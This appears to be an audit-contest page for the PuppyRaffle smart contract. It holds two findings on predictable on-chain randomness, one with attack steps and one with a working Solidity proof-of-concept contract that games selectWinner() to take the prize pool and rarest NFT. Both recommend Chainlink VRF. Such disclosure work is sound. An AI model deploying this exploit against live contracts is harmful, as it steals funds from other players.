Root: Predictable On-Chain Values Used as Randomness Source
Impact: Attacker Can Manipulate Raffle Outcome and NFT Rarity
The contract uses msg.sender, block.timestamp, and block.difficulty to determine the winner
The contract uses msg.sender and block.difficulty to determine the NFT rarity
All of these values are either fully known or influenceable before the transaction is submitted
Because the rarity hash uses a subset of the same inputs as the winner hash, both can be calculated simultaneously off-chain
selectWinner() has no access control — anyone can call it, meaning an attacker can choose the exact msg.sender that produces a favorable outcome
This creates a flaw where an attacker can simulate both hashes off-chain, find a msg.sender that wins the raffle AND produces legendary rarity, then call selectWinner() from that specific address — guaranteeing both the prize pool and the rarest NFT every time.
Likelihood: High
Any user can call selectWinner() — no special permissions required
Off-chain hash simulation is trivial and requires no special tools
Attack can be executed every single raffle with no additional cost
Validators/miners can additionally influence block.difficulty and block.timestamp
Impact: High
Raffle outcome is completely predetermined by the attacker
All legitimate players are guaranteed to lose
Attacker can additionally guarantee legendary rarity NFT every time
Core protocol fairness is completely broken
Players have no way to detect or prevent the manipulation
Step-by-step:
Attacker enters the raffle with a player address they control
Attacker simulates the winner hash off-chain
Attacker simultaneously simulates the rarity hash
If both results are unfavorable, attacker waits or tries a different msg.sender
When both hashes produce a favorable outcome, attacker calls selectWinner() from that address
6. Attacker wins the prize pool and receives a legendary NFT — every time
Replace all on-chain randomness with Chainlink VRF (Verifiable Random Function). Chainlink VRF generates randomness off-chain and delivers it on-chain with a cryptographic proof that it cannot be tampered with — not even by Chainlink itself.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.